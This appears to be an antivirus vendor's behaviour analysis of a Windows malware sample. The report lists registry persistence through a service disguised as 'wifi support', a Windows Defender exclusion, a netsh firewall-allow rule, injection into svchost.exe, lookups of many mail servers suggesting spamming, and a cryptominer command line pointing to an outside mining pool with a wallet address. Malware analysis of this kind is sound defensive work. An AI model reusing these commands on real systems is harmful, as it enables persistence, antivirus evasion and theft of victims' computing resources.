Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rzwbxkgf' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\jfxxujiw.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\jfxxujiw.exe to %WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe
Deletes itself.
Network activity
Connects to
- 'mx.##ra.co.nz':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK li#e.nl
- DNS ASK ka##an.edu
- DNS ASK ya###.com.br
- DNS ASK us###ily.net
- DNS ASK mx#.#sgo.net
- DNS ASK em##l.com
- DNS ASK mx#.#mpal.com
- DNS ASK mi###canvas.com
- DNS ASK ma##.naz.edu
- DNS ASK pe#####er.infoquest.com
- DNS ASK ea####ookbldrs.com
- DNS ASK sm##.##cureserver.net
- DNS ASK ea#####okbuilders.com
- DNS ASK tp#.com.au
- DNS ASK mx#.#pgi.com.au
- DNS ASK se###ce.gmx.net
- DNS ASK om##.com
- DNS ASK me####count.gmx.net
- DNS ASK in###gram.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK li##.com.ar
- DNS ASK si#####liotevents.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK si###ellis.com
- DNS ASK ve##zon.net
- DNS ASK mc##i.com
- DNS ASK fo##l.com
- DNS ASK sm######.mc.a.cloudfilter.net
- DNS ASK si#####listonball.com
- DNS ASK ms#.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK si####lsbury.com
- DNS ASK sh###erfly.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ma##.foyel.com
- DNS ASK kr.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK ei####rocess.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK ti#.it
- DNS ASK sm##.tin.it
- DNS ASK wp.pl
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK ti##ali.it
- DNS ASK mx.#p.pl
- DNS ASK em##l.it
- DNS ASK mx.#mail.it
- DNS ASK za###media.com
- DNS ASK zo##et.nl
- DNS ASK mx##.#e.isp-net.nl
- DNS ASK wp.eu
- DNS ASK li#e.no
- DNS ASK bl###burn.edu
- DNS ASK be###outh.net
- DNS ASK fe##ick.com
- DNS ASK mx.########.com.cust.a.hostedemail.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK in#####ption1.gmx.net
- DNS ASK ma#l.ru
- DNS ASK mx#.mail.ru
- DNS ASK am##n.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK re#.#icoh.com
- DNS ASK di##ies.com
- DNS ASK mx#######802.gslb.pphosted.com
- DNS ASK mx.#cn.com
- DNS ASK si##ey.com
- DNS ASK mx#######702.gslb.pphosted.com
- DNS ASK ne###ape.com
- DNS ASK ap##io.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK xp###net.com
- DNS ASK rc#.com
- DNS ASK ho##ail.com
- DNS ASK bh##ns.com
- DNS ASK google.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK hi####comics.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK kt#.#sele.se
- DNS ASK ic##roe.com
- DNS ASK nz##.mil.nz
- DNS ASK mx#.##curemx.biz
- DNS ASK in##.lulea.se
- DNS ASK mx.##oeuro.com
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK pt#.se
- DNS ASK mx#.pts.se
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK ie###gizer.com
- DNS ASK ie#####n.ienergizer.com
- DNS ASK ho###il.co.jp
- DNS ASK ma##.#elkomsa.net
- DNS ASK in##ald.se
- DNS ASK te###msa.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ha###i.rr.com
- DNS ASK pk#####.#sg.pkvw.co.charter.net
- DNS ASK mx.##bleone.net
- DNS ASK ho##ail.de
- DNS ASK mi####.bittubeapp.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK gw##.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ma#####rtual.gwtc.net
- DNS ASK ca###one.net
- DNS ASK ho##ail.fr
- DNS ASK ip##et.es
- DNS ASK ho##ail.it
- DNS ASK ga####org.hsb.se
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK du##.#ricsson.se
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK nt###rld.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK mx##.ionos.com
- DNS ASK tr#####-greeceny.org
- DNS ASK et##.#ricsson.se
- DNS ASK si###ella.eu
- DNS ASK xt##.co.nz
- DNS ASK mx.##ra.co.nz
- DNS ASK si###elli.ca
- DNS ASK ma##.#imonelli.ca
- DNS ASK ya##o.de
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK we###rbeds.com
- DNS ASK mx#.##rthlink.net
- DNS ASK mi###pring.com
- DNS ASK im####products.net
- DNS ASK mx.####ctproducts.net
- DNS ASK se###r-nsu.de
- DNS ASK mx##.##ndenserver.de
- DNS ASK pu##c.se
- DNS ASK mx##.##oud.advania.se
- DNS ASK ja####thepass.com
- DNS ASK ga###########-se.mail.protection.outlook.com
- DNS ASK wi###wslive.com
- DNS ASK jc##st.com
- DNS ASK aspmx.l.google.com
- DNS ASK jo###eere.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK se####tcapital.com
- DNS ASK as#.##flexion.net
- DNS ASK tr####ygraphic.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK li#e.fr
- DNS ASK sm###a.nfp.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start rzwbxkgf' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\
- '%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start rzwbxkgf
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
